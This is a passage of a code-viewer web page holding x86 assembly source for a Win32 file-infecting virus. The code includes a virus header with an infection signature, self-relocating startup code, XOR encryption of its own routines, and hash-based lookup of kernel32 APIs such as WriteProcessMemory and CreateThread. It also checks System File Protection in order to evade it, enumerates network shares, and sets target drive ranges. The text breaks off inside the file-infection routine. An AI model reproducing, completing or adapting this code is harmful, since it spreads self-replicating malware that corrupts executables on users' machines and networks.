📄 elkern.c源代码 .txt
字号:
386
.model flat
include win32.inc
includelib import32.lib
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn CreateProcessA: proc
DEBUG equ 1
if DEBUG
include debug.asm
endif
FMAP_NAME equ 'Wqk',0
MUTEX_NAME equ 'Oux',0
INFPROC_PROT_SIZE equ (4*1024)
INFPROC_MAP_SIZE equ (16*1024)
INF_SIGN equ 'QW'
MEM_INF_SIGN equ ('Q'+'W')
MEM_INF_POS equ 1ch
INF_MIN_BLK_SIZE equ 38h
MIN_SIZE_TO_INFECT equ (8*1024)
if DEBUG
INFECT_FIRSTDISK equ (0000ffffh and '00:w')
INFECT_LASTDISK equ (0000ffffh and '00:z')
else
INFECT_FIRSTDISK equ (0000ffffh and '00:a')
INFECT_LASTDISK equ (0000ffffh and '00:z')
endif
RESOURCETYPE_DISK equ 0001h
RESOURCEUSAGE_CONTAINER equ 0002h
RESOURCEUSAGE_ALL equ 0013h
RESOURCE_GLOBALNET equ 0002h
MAX_NETRESOURCE_NUM equ 1000
SECTION_QUERY equ 0001h
SECTION_MAP_WRITE equ 0002h
SECTION_MAP_READ equ 0004h
SECTION_MAP_EXECUTE equ 0008h
SECTION_EXTEND_SIZE equ 0010h
FILE_MAP_COPY equ SECTION_QUERY
FILE_MAP_WRITE equ SECTION_MAP_WRITE
FILE_MAP_READ equ SECTION_MAP_READ
;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS
PAGE_NOACCESS equ 01h
PAGE_READONLY equ 02h
PAGE_READWRITE equ 04h
PAGE_WRITECOPY equ 08h
PAGE_EXECUTE equ 10h
PAGE_EXECUTE_READ equ 20h
PAGE_EXECUTE_READWRITE equ 40h
PAGE_EXECUTE_WRITECOPY equ 80h
PAGE_GUARD equ 100h
PAGE_NOCACHE equ 200h
PAGE_WRITECOMBINE equ 400h
MEM_COMMIT equ 1000h
MEM_RELEASE equ 8000h
MAX_PATH equ 260
MAX_DIR_SIZE equ MAX_PATH
FILETIME struc
dwLowDateTime dd 0
dwHighDateTime dd 0
FILETIME ends
WIN32_FIND_DATA struc
dwFileAttributes dd 0
ftCreationTime FILETIME <>
ftLastAccessTime FILETIME <>
ftLastWriteTime FILETIME <>
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
cFileName db MAX_PATH dup(0)
cAlternateFileName db 14 dup(0)
foralign db 2 dup(0)
WIN32_FIND_DATA ends
EXIT macro
push large 0
call ExitProcess
endm
CALLHEADER macro entry
dw 0
dw entry&_end - entry
ENDM
SUBCALL macro sub,rel
;;NOTE : This macro WILL destroy ESI
lea esi,[ebp+sub-rel]
call _callsub
endm
.data
cap db 'Haha',0
str db "Hello sakld;gjlsad",0dh,0ah,0
dummyfile db "dummy.exe"
.code
vir_header:
dd 0
dw vir_size
dw 'QW'
_start:
pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
pushad
call _start_ip
_start_ip:
pop ebp
_start_@1 equ $
lea edi,[ebp+hash_table-8-_start_ip]
mov ebx,[esp+9*4]
and ebx,0ffe00000h ;98-BFF70000,2K-77E80000,XP-77E60000
_start_@2 equ $
lea esi,[ebp+search_api_addr-_start_ip]
call _callsub
_start_@3 equ $
lea eax,[ebp+return_to_host-_start_ip]
push eax
main_enter:
lea edx,[ebp+vir_body-_start_ip]
db 89h,0d6h ;mov esi,edx
call _callsub
retn
return_to_host:
sub ebp,1000h+_start_ip-vir_header
host_section_rva equ dword ptr $-4
add ebp,offset host-400000h
host_entry_rva equ dword ptr $-4
mov dword ptr [ebp],000000b8h
host_entry_1 equ dword ptr $-4
mov byte ptr [ebp+4],0
host_entry_2 equ byte ptr $-1
mov [esp+7*4],ebp
popad
popfd
jmp eax
_start_end:
CALLHEADER vir_body
vir_body:
pushad
call vir_body_ip
vir_body_ip:
pop ebp
SUBCALL merge_code,vir_body_ip
or eax,eax
jz short vir_body_ret
add eax,main_thread-_start
mov esi,eax
call blk_decrypt
mov word ptr [esi-4],0 ;Clear the encryption key to avoid incorrect encryption when error occurs
xor ecx,ecx
push ecx
push esp
push ecx
push ecx
push eax
push ecx
push ecx
call [ebp+addrCreateThread-vir_body_ip]
pop ecx
vir_body_ret:
popad
retn
vir_body_end:
;out--eax=buffer address
CALLHEADER merge_code
merge_code:
merge_code_ip equ vir_body_ip
xor edi,edi
mov eax,vir_mem_size
SUBCALL create_mem_map,merge_code_ip
push eax
jz short merge_code_ret
cld
mov edi,eax
lea esi,[ebp+_start-merge_code_ip]
lea edx,[ebp+_start_ip-merge_code_ip]
sub edx,[ebp+host_section_rva-merge_code_ip]
sub esi,edx
merge_code_loop:
add esi,edx
movzx ecx,word ptr [esi-4]
push esi
rep movsb
pop esi
mov esi,[esi-8]
or esi,esi
jnz short merge_code_loop
merge_code_ret:
pop eax
retn
merge_code_end:
;in--eax=size,edi->object name
;out--eax=buffer address,edi=map handle,ZF set means fail
CALLHEADER create_mem_map
create_mem_map:
push ebp
push ebx
push ecx
call create_mem_map_ip
create_mem_map_ip:
pop ebp
push edi
push eax
xor eax,eax
push eax
push large PAGE_READWRITE
push eax
dec eax
push eax
call [ebp+addrCreateFileMappingA-create_mem_map_ip]
or eax,eax
jz short create_mem_map_1
xchg eax,edi
xor eax,eax
push eax
push eax
push eax
push large FILE_MAP_WRITE
push edi
call [ebp+addrMapViewOfFile-create_mem_map_ip]
create_mem_map_1:
pop ecx
pop ebx
pop ebp
or eax,eax
retn
create_mem_map_end:
;In--esi->destination address
;Header format,2 byte:key,2 byte: length
;CAN NOT call get_rand
_callsub:
call blk_decrypt
call_sub_1:
push dword ptr [esi-4]
mov word ptr [esi-4],0 ;Clear the encryption key to avoid incorrect encryption when error occurs
push esi
call esi
pop esi
pop dword ptr [esi-4]
pushfd
add word ptr [esi-4],5678h
callsub_seed equ $-2
call blk_encrypt
popfd
retn
;in--esi->block entry
blk_decrypt equ blk_encrypt
blk_encrypt:
pushad
cld
mov edi,esi
mov edx,[esi-4]
blk_encrypt_@1 equ $-blk_encrypt
xor ecx,ecx
nop ;for poly
shld ecx,edx,0fh
blk_encrypt_1:
lodsw
xor ax,dx
stosw
loop blk_encrypt_1
popad
retn
;***************************Find import some APIs*********************
HASH16FACTOR = 0ED388320h
HASH16 MACRO String,sym
HASH_Reg = 0FFFFFFFFh
IRPC _x, <String>
Ctrl_Byte = ('&_x&' XOR (HASH_Reg AND 0FFh))
HASH_Reg = (HASH_Reg SHR 8)
REPT 8
Ctrl_Byte = (Ctrl_Byte SHR 1) XOR (HASH16FACTOR * (Ctrl_Byte AND 1))
ENDM
HASH_Reg = (HASH_Reg XOR Ctrl_Byte)
ENDM
sym DW (HASH_Reg AND 0FFFFh)
ENDM
;in--ebx is the base to search-10000h,edi->the hash table,include dll name
CALLHEADER search_api_addr
search_api_addr:
pushad
pushfd
call search_api_addr_ip
search_api_addr_ip:
pop ebp
push ebp
lea eax,[ebp+search_api_addr_seh-search_api_addr_ip]
push eax
xor ecx,ecx
push dword ptr fs:[ecx]
mov fs:[ecx],esp
search_api_addr_@1:
add ebx,10000h
jz short search_api_addr_seh_restore
cmp word ptr [ebx],'ZM'
jnz short search_api_addr_@1
mov eax,[ebx+3ch]
add eax,ebx
cmp word ptr [eax],'EP'
jnz short search_api_addr_@1
mov eax,[eax+78h]
add eax,ebx
mov edx,[eax+3*4]
add edx,ebx
mov ecx,[edi]
cmp dword ptr [edx],ecx
jnz short search_api_addr_@1
mov ecx,[edi+4]
cmp dword ptr [edx+4],ecx
jnz short search_api_addr_@1
search_api_addr_seh_restore:
xor ecx,ecx
POP DWord Ptr FS:[ecx] ; restore except chain
pop esi
pop esi
add edi,8
or ebx,ebx
jz short search_api_addr_ret
SUBCALL find_all_exportfunc,search_api_addr_ip
search_api_addr_ret:
popfd
popad
retn
search_api_addr_seh:
call search_api_addr_seh_ip
search_api_addr_seh_ip:
pop eax
lea eax,[eax-(search_api_addr_seh_ip-search_api_addr_@1)]
seh_cont:
PUSH eax
MOV EAX,[ESP + 00Ch+4] ; context
POP DWord Ptr [EAX + 0B8h] ; context.eip = @ExceptProc
XOR EAX,EAX ; 0 = ExceptionContinueExecution
RET
search_api_addr_end:
CALLHEADER find_all_exportfunc
find_all_exportfunc:
cld
dec ecx
push eax
xor eax,eax
repnz scasw
not ecx
dec ecx
push ecx
push edi
rep stosd ;Clear all API address
pop edi
sub edi,4
pop ecx
pop eax
mov esi,[eax+8*4]
add esi,ebx ;esi->name RVA array
mov esi,[esi]
add esi,ebx
xor edx,edx
push ecx
find_exportfunc:
push ecx
find_exportfunc_1:
cmp edx,[eax+6*4]
pop ecx
jz short find_exportfunc_ret
push ecx
inc edx
push eax
call calc_hash16
push edi
std
mov ecx,[esp+3*4]
repnz scasw
pop edi
pop eax
jnz short find_exportfunc_1
push edx
dec edx
push edi
mov edi,[eax+9*4]
add edi,ebx ;edi->ordinal array
movzx edx,word ptr [edi+edx*2]
mov edi,[eax+7*4]
add edi,ebx ;edi->function RVA
mov edx,[edi+edx*4]
add edx,ebx
pop edi
mov [edi+ecx*4+4],edx
pop edx
pop ecx
loop find_exportfunc
find_exportfunc_ret:
pop ecx
retn
find_exportfunc_end:
calc_hash16:
;esi->string
push edx
push 0ffffffffh
pop edx
cld
load_character:
lodsb
or al, al
jz exit_calc_crc
xor dl, al
mov al, 8
crc_byte:
shr edx, 1
jnc loop_crc_byte
xor edx, HASH16FACTOR
loop_crc_byte:
dec al
jnz crc_byte
jmp load_character
exit_calc_crc:
xchg edx, eax
;now ax is the hash 16,esi->string after the NULL character after last string
pop edx
ret
calc_hash16_end:
find_all_exportfunc_end:
db 'KERNEL32'
hash_table equ this word
HASH16 <SetEndOfFile>,hsSetEndOfFile
HASH16 <SetFilePointer>,hsSetFilePointer
HASH16 <CreateFileA>,hsCreateFileA
HASH16 <GetFileAttributesA>,hsGetFileAttributesA
HASH16 <SetFileAttributesA>,hsSetFileAttributesA
HASH16 <CloseHandle>,hsCloseHandle
HASH16 <GetFileTime>,hsGetFileTime
HASH16 <SetFileTime>,hsSetFileTime
HASH16 <GetFileSize>,hsGetFileSize
HASH16 <CreateFileMappingA>,hsCreateFileMappingA
HASH16 <MapViewOfFile>,hsMapViewOfFile
HASH16 <UnmapViewOfFile>,hsUnmapViewOfFile
HASH16 <OpenFileMappingA>,hsOpenFileMappingA
HASH16 <VirtualProtectEx>,hsVirtualProtectEx
HASH16 <ReadProcessMemory>,hsReadProcessMemory
HASH16 <WriteProcessMemory>,hsWriteProcessMemory
HASH16 <OpenProcess>,hsOpenProcess
HASH16 <FindFirstFileA>,hsFindFirstFileA
HASH16 <FindNextFileA>,hsFindNextFileA
HASH16 <FindClose>,hsFindClose
HASH16 <LoadLibraryA>,hsLoadLibraryA
HASH16 <CreateThread>,hsCreateThread
HASH16 <MultiByteToWideChar>,hsMultiByteToWideChar
HASH16 <Sleep>,hsSleep
HASH16 <lstrcmpiA>,hslstrcmpi
HASH16 <GetModuleFileNameA>,hsGetModuleFileNameA
HASH16 <GetDriveTypeA>,hsGetDriveTypeA
HASH16 <GetTickCount>,hsGetTickCount
HASH16 <GetVersion>,hsGetVersion
HASH16 <CreateToolhelp32Snapshot>,hsCreateToolhelp32Snapshot
HASH16 <Process32First>,hsProcess32First
HASH16 <Process32Next>,hsProcess32Next
if DEBUG
HASH16 <OutputDebugStringA>,hsOutputDebugStringA
HASH16 <GetLastError>,hsGetLastError
HASH16 <ExitProcess>,hsExitProcess
endif
dw 0
hash_addr equ this dword
addrSetEndOfFile dd 0
addrSetFilePointer dd 0
addrCreateFileA dd 0
addrGetFileAttributesA dd 0
addrSetFileAttributesA dd 0
addrCloseHandle dd 0
addrGetFileTime dd 0
addrSetFileTime dd 0
addrGetFileSize dd 0
addrCreateFileMappingA dd 0
addrMapViewOfFile dd 0
addrUnmapViewOfFile dd 0
addrOpenFileMappingA dd 0
addrVirtualProtectEx dd 0
addrReadProcessMemory dd 0
addrWriteProcessMemory dd 0
addrOpenProcess dd 0
addrFindFirstFileA dd 0
addrFindNextFileA dd 0
addrFindClose dd 0
addrLoadLibraryA dd 0
addrCreateThread dd 0
addrMultiByteToWideChar dd 0
addrSleep dd 0
addrlstrcmpiA dd 0
addrGetModuleFileNameA dd 0
addrGetDriveTypeA dd 0
addrGetTickCount dd 0
addrGetVersion dd 0
addrCreateToolhelp32Snapshot dd 0
addrProcess32First dd 0
addrProcess32Next dd 0
if DEBUG
addrOutputDebugStringA dd 0
addrGetLastError dd 0
addrExitProcess dd 0
endif
db 'sfc.dll',0
sfc_hash_table equ this word
HASH16 <SfcIsFileProtected>,isSfcIsFileProtected
dw 0
sfc_hash_addr equ this dword
addrSfcIsFileProtected dd 0
db 'MPR.dll',0
mpr_hash_table equ this word
HASH16 <WNetOpenEnumA>,hsWNetOpenEnumA
HASH16 <WNetEnumResourceA>,hsWNetEnumResourceA
HASH16 <WNetCloseEnum>,hsWNetCloseEnum
dw 0
mpr_hash_addr equ this dword
addrWNetOpenEnumA dd 0
addrWNetEnumResourceA dd 0
addrWNetCloseEnum dd 0
db 'USER32.d'
user32_hash_table equ this word
HASH16 <DispatchMessageA>,hsDispatchMessageA
HASH16 <DispatchMessageW>,hsDispatchMessageW
dw 0
user32_hash_addr equ this dword
addrDispatchMessageA dd 0
addrDispatchMessageW dd 0
;***************************Find import APIs end*********************
vir_first_blk_size equ $-_start
;*******************************infect.asm*****************************
;include infect.asm
FOPESP_BASE equ 0
;In--edi->file name,dl=operation code
CALLHEADER file_operate
file_operate:
pushad
call file_op_ip
file_op_ip:
pop ebp
mov ebx,edi
SUBCALL is_in_dllcache,file_op_ip
jz file_op_ret
xor esi,esi
push ebp
lea eax,[ebp+file_op_seh-file_op_ip]
push eax
xor eax,eax
push dword ptr fs:[eax]
mov fs:[eax],esp
push edi
call [ebp+addrGetFileAttributesA-file_op_ip]
push eax ;esp->file attribute
push edi ;esp->file name pointer
test eax,FILE_ATTRIBUTE_READONLY
jz short file_op_not_readonly
and eax,not FILE_ATTRIBUTE_READONLY
push eax
push edi
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -